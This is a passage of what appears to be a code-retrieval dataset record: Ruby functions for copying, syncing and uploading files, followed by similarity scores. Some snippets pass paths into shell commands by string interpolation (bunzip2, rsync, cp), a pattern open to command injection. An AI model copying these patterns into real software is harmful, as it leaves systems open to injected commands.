File.file? lib_file\n @log.info \"Workflow Finalisation : Copy libraries for a standalone usage of the rakefiles : #{lib_file}\"\n FileUtils.cp \"#{lib_file}\", libs_dest_dir\n end\n end", "def transfer!\n connection do |ftp|\n directories.each do |dir|\n create_remote_path(File.join(remote_path, dir), ftp)\n end\n\n files_to_transfer.each do |file|\n ok_message \"Uploading #{file}\", \" - \"\n ftp.put(\n File.join(local_path, file),\n File.join(remote_path, file)\n )\n end\n end\n end", "def local_copy(tempdir = Dir.mktmpdir, &block)\n tfbase = self.to_s =~ /\\.bz2$/ ? self.basename.to_s.chomp(\".bz2\") : self.basename.to_s\n tfbase.escape_filename\n tmpfile = File.join(tempdir, tfbase)\n # puts tmpfile\n # puts File.exist?(tmpfile)\n File.delete(tmpfile) if File.exist?(tmpfile)\n if self.to_s =~ /\\.bz2$/\n `bunzip2 -k -c '#{self.to_s}' >> '#{tmpfile}'`\n else\n FileUtils.cp(self.to_s, tmpfile)\n end\n\n lc = Pathname.new(tmpfile)\n \n if block\n begin\n yield lc\n ensure\n lc.delete\n end\n\n else\n return lc\n end\n end", "def prep_sandbox_for_batch batch_path\n relative_input_file_name = INPUT_PATH + batch_path\n sandbox_name = SANDBOX_PATH + batch_path\n\n FileUtils.cp_r relative_input_file_name, sandbox_name\n #$stderr.puts sandbox_name + \"/.svn\"\n FileUtils.rm_r sandbox_name + \"/.svn\"\n \n# d = Dir.new(relative_input_file_name)\n# d.each do |f|\n# next if f.eql?(\".\") or f.eql?(\"..\") or f.eql?(\".svn\")#\n#\n# # If f is directory , call prep_sandbox on it\n# path = relative_input_file_name + \"/\" + \"#{f}\"\n# if File.stat(path).directory?\n# copy_batch path\n# else\n# sandbox_name = SANDBOX_PATH + batch_path + \"/\" + f\n# begin\n# $stderr.puts path\n# $stderr.puts sandbox_name\n# FileUtils.cp path, sandbox_name\n# rescue Exception => error\n# pending \"Could not copy file #{path} to sandbox!\"\n# end\n# end\n# end\nend", "def copy_files(dest_dir)\n @package.documents.each do |file|\n ActiveRecord::Base.logger.debug \"copying file #{file.attach.path} in #{File.join(dest_dir, \"\")}\"\n FileUtils.cp(file.attach.path, File.join(dest_dir, \"\"))\n end\n end", "def fast_copy_chain(base_dir, targets, options={})\n # Normalize the filesnames param so it is an array\n filenames = options[:files] || ['.']\n filenames = [filenames] unless filenames.respond_to?(:each)\n \n # Normalize the targets param, so that targets is an array of Hosts and\n # destinations is a hash of hosts => dirs\n destinations = {}\n targets = [targets] unless targets.respond_to?(:each)\n base_dir += '/' unless base_dir[-1] == '/'\n if targets.is_a? Hash\n destinations = targets\n destinations.each {|t, d| destinations[t] += '/' unless d[-1] == '/'}\n targets = targets.keys\n else\n destinations = targets.inject({}) {|memo, target| memo[target] = base_dir; memo}\n end\n raise \"No target hosts supplied\" if targets.count < 1\n \n file_list = filenames.join ' '\n port = (options[:port] || 7000).to_i\n \n if Jetpants.compress_with || Jetpants.decompress_with\n comp_bin = Jetpants.compress_with.split(' ')[0]\n confirm_installed comp_bin\n output \"Using #{comp_bin} for compression\"\n else\n output \"Compression disabled -- no compression method specified in Jetpants config file\"\n end\n \n # On each destination host, do any initial setup (and optional validation/erasing),\n # and then listen for new files. If there are multiple destination hosts, all of them\n # except the last will use tee to \"chain\" the copy along to the next machine.\n workers = []\n targets.reverse.each_with_index do |t, i|\n dir = destinations[t]\n raise \"Directory #{t}:#{dir} looks suspicious\" if dir.include?('..') || dir.include?('./') || dir == '/' || dir == ''\n \n if Jetpants.compress_with || Jetpants.decompress_with\n decomp_bin = Jetpants.decompress_with.split(' ')[0]\n t.confirm_installed decomp_bin\n end\n t.ssh_cmd \"mkdir -p #{dir}\"\n \n # Check if contents already exist / non-empty.\n # Note: doesn't do recursive scan of subdirectories\n unless options[:overwrite]\n all_paths = filenames.map {|f| dir + f}.join ' '\n dirlist = t.dir_list(all_paths)\n dirlist.each {|name, size| raise \"File #{name} exists on destination and has nonzero size!\" if size.to_i > 0}\n end\n \n decompression_pipe = Jetpants.decompress_with ? \"| #{Jetpants.decompress_with}\" : ''\n if i == 0\n workers << Thread.new { t.ssh_cmd \"cd #{dir} && nc -l #{port} #{decompression_pipe} | tar xv\" }\n t.confirm_listening_on_port port\n t.output \"Listening with netcat.\"\n else\n tt = targets.reverse[i-1]\n fifo = \"fifo#{port}\"\n workers << Thread.new { t.ssh_cmd \"cd #{dir} && mkfifo #{fifo} && nc #{tt.ip} #{port} <#{fifo} && rm #{fifo}\" }\n checker_th = Thread.new { t.ssh_cmd \"while [ ! -p #{dir}/#{fifo} ] ; do sleep 1; done\" }\n raise \"FIFO not found on #{t} after 10 tries\" unless checker_th.join(10)\n workers << Thread.new { t.ssh_cmd \"cd #{dir} && nc -l #{port} | tee #{fifo} #{decompression_pipe} | tar xv\" }\n t.confirm_listening_on_port port\n t.output \"Listening with netcat, and chaining to #{tt}.\"\n end\n end\n \n # Start the copy chain.\n output \"Sending files over to #{targets[0]}: #{file_list}\"\n compression_pipe = Jetpants.compress_with ? \"| #{Jetpants.compress_with}\" : ''\n ssh_cmd \"cd #{base_dir} && tar vc #{file_list} #{compression_pipe} | nc #{targets[0].ip} #{port}\"\n workers.each {|th| th.join}\n output \"File copy complete.\"\n \n # Verify\n output \"Verifying file sizes and types on all destinations.\"\n compare_dir base_dir, destinations, options\n output \"Verification successful.\"\n end", "def run_stage_one \n\t# directory tools is needed by stage on, be sure it does not exist yet\n\tif File.exists?(\"/tools\")\n\t\tputs sprintf(\"%015.4f\", Time.now.to_f) + \" error > EXIT! Directory or softlink /tools already exists\"\n\t\tputs sprintf(\"%015.4f\", Time.now.to_f) + \" error > Too risky for me to continue. Remove /tools, then\"\n\t\tputs sprintf(\"%015.4f\", Time.now.to_f) + \" error > try again.\"\n\t\t$stdout.flush\n\t\traise \"SoftlinkAlreadyThere\"\n\tend\n\t# File.symlink(@builddir + \"/stage01/chroot/tools\", \"/tools\")\n\tsystem(\"mkdir /tools\")\n\tsystem(\"mkdir -p \" + @builddir + \"/stage01/chroot/tools\")\n\tsystem(\"mount -o bind \" + @builddir + \"/stage01/chroot/tools /tools\")\n\t[ \"/stage01\", \"/stage01/build\",\"/stage01/chroot\",\"/stage01/chroot/tools\", \"/tmp\" ].each { |d|\n\t\tunless File.exists?(@builddir + d)\n\t\t\tDir.mkdir(@builddir + d)\n\t\tend\n\t}\n\t# Stage 01 abfrühstücken\n\t# Alle Scripte in stage01 suchen\n\tstage_one_objs = get_stage_one_objs\n\t# Download first\n\tstage_one_objs.each { |i| i.download }\n\t# Unpack\n\tstage_one_objs.each { |i|\n\t\ti.unpack\n\t\t### Dir.chdir(@workdir)\n\t\ti.patch(@log_each)\n\t\t### Dir.chdir(@workdir)\n\t\ti.build(@log_each)\n\t\t### Dir.chdir(@workdir)\n\t\ti.install(@log_each)\n\t\t### Dir.chdir(@workdir)\n\t\ti.filecheck\n\t\t### Dir.chdir(@workdir)\n\t}\n\tsystem(\"umount /tools\")\nend", "def transfer!\n remote_path = remote_path_for(@package)\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n Logger.info \"#{storage_name} started transferring '#{ local_file }'.\"\n\n File.open(File.join(local_path, local_file), 'r') do |file|\n connection.put_object(\n container, File.join(remote_path, remote_file), file\n )\n end\n end\n end", "def execute \n if(@hasExecuted==false and (not File::directory?(@newPath)))\n FileUtils.cp_r(@ogPath, @newPath)\n FileUtils::rm_r(@ogPath)\n @hasExecuted=true\n end\n end", "def sync_code_dir\n fs_commands = { 'commit': '{\"commit-all\": true}', 'force-sync': \"\" }\n fs_commands.each do |fs_cmd, data|\n curl = %W[\n curl\n -X POST\n --cert $(puppet config print hostcert)\n --key $(puppet config print hostprivkey)\n --cacert $(puppet config print localcacert)\n -H \"Content-type: application/json\"\n https://#{master}:8140/file-sync/v1/#{fs_cmd}\n -d '#{data}'\n ].join(\" \")\n\n on(master, curl)\n end\n end", "def backup2Drive(src,conf)\n dest = conf[:backupDrive]\n dest = dest + \"/\" unless dest [-1] =~ /[\\/\\\\]/\n dest = dest + src\n puts src\n puts dest\n FileUtils.mkdir_p(File.dirname(dest))\n FileUtils.cp(src, dest)\n puts aktTime()+\" archive copied\"\n cleanUp(conf) if conf[:generations]\n \nend", "def run\n executor.run\n @files.map { |file| File.join(@output_dir, file.relative_file_name) }\n end", "def perform!\n exclude_filter = ''\n @excludes.each { |e| exclude_filter << \" --exclude '#{e}' \" }\n \n @tasks.each do |task|\n prepared_source = prepare_path(task[:source], @source_base_path)\n prepared_target = prepare_path(task[:target], @target_base_path)\n Logger.message \"Perform One-Way-Mirror:\"\n Logger.message \" - Source: #{prepared_source}\"\n Logger.message \" - Target: #{prepared_target}\"\n\n create_dir_if_missing(prepared_target)\n \n `rsync --archive -u -v --delete #{exclude_filter} \"#{prepared_source}\" \"#{prepared_target}\"`\n end\n end", "def run\n @attached.each { |item| process(item) }\n\n (@mode == :replace ? [ @add_file ] : [ @add_file, @remove_file ]).each do |file|\n file.puts(FOOTER)\n file.flush\n file.rewind\n end\n\n if @mode == :replace\n @database.resource.put(@add_file)\n elsif @mode == :update\n @database.resource[:update_method => :subtract].post(@remove_file)\n @database.resource[:update_method => :add].post(@add_file)\n end\n\n unless ENV['DIRECTEDEDGE_DEBUG']\n @add_file.unlink if @add_file\n @remove_file.unlink if @remove_file\n end\n end", "def update_files(&block)\n \n get_template_entries.each do |entry|\n \n next if entry.directory?\n \n entry.get_input_stream do |is|\n \n data = is.sysread\n \n if CONTENT_FILES.include?(entry.name)\n process_entry(data, &block)\n end\n \n @output_stream.put_next_entry(entry.name)\n @output_stream.write data\n \n end\n end\n end", "def doAllCopyOperations(dryRun)\n #N Without this, the copy operations won't be executed\n doCopyOperations(@sourceContent, @destinationContent, dryRun)\n end", "def copy_data(analysis_dir, result_dir, run_name, test_type)\n if test_type.eql?(\"mp\")\n `cp ./data/mp/* #{result_dir}`\n `bzip2 -d #{result_dir}/*`\n FileUtils.mv(result_dir + \"/f3.csfasta\", result_dir +\n \"/\" + run_name + \"_F3.csfasta\")\n FileUtils.mv(result_dir + \"/f3.qual\", result_dir +\n \"/\" + run_name + \"_F3_QV.qual\")\n else\n `cp ./data/mp/r3* #{result_dir}`\n `bzip2 -d #{result_dir}/*`\n end\n FileUtils.mv(result_dir + \"/r3.csfasta\", result_dir +\n \"/\" + run_name + \"_R3.csfasta\")\n FileUtils.mv(result_dir + \"/r3.qual\", result_dir +\n \"/\" + run_name + \"_R3_QV.qual\")\nend", "def copy(src,target)\n mkdir_p target if ! File.exist?(target)\n sh 'cp ' + src + '/* ' + target\nend", "def exec_in_git_dir(&block)\n Dir.chdir(top_level, &block)\n end" ]
[ "0.69892544", "0.6814208", "0.64458007", "0.6431487", "0.629517", "0.61966956", "0.6076677", "0.6000064", "0.59686977", "0.5962716", "0.59523827", "0.59498274", "0.58872104", "0.5884997", "0.58756906", "0.58440083", "0.58411074", "0.58374614", "0.5827352", "0.5813597", "0.58075297", "0.5788551", "0.5788184", "0.57818526", "0.57511157", "0.57333493", "0.5719924", "0.5717983", "0.5715807", "0.57071644", "0.57025975", "0.5702256", "0.5700273", "0.5698937", "0.5677214", "0.56768703", "0.56537163", "0.56499904", "0.564909", "0.5642051", "0.56407815", "0.5629512", "0.5624004", "0.5602681", "0.5602174", "0.55854064", "0.5571431", "0.55696225", "0.55639696", "0.5562977", "0.5555908", "0.5546838", "0.5546472", "0.5538764", "0.5531345", "0.5529719", "0.5513376", "0.5486606", "0.5481759", "0.5461181", "0.5460007", "0.54567784", "0.54564166", "0.54488075", "0.5443185", "0.5438953", "0.5438658", "0.5408988", "0.5405885", "0.5405315", "0.5401604", "0.5396575", "0.5390877", "0.538808", "0.53759176", "0.5374664", "0.53699595", "0.53690076", "0.53690076", "0.5361685", "0.5360974", "0.5357301", "0.5355876", "0.5355532", "0.5347867", "0.5345468", "0.53350705", "0.53171974", "0.5316899", "0.53107", "0.5300107", "0.5299027", "0.5297567", "0.52935123", "0.5289035", "0.52875084", "0.5286597", "0.5284177", "0.52734566", "0.5259621", "0.5256141" ]
0.0
-1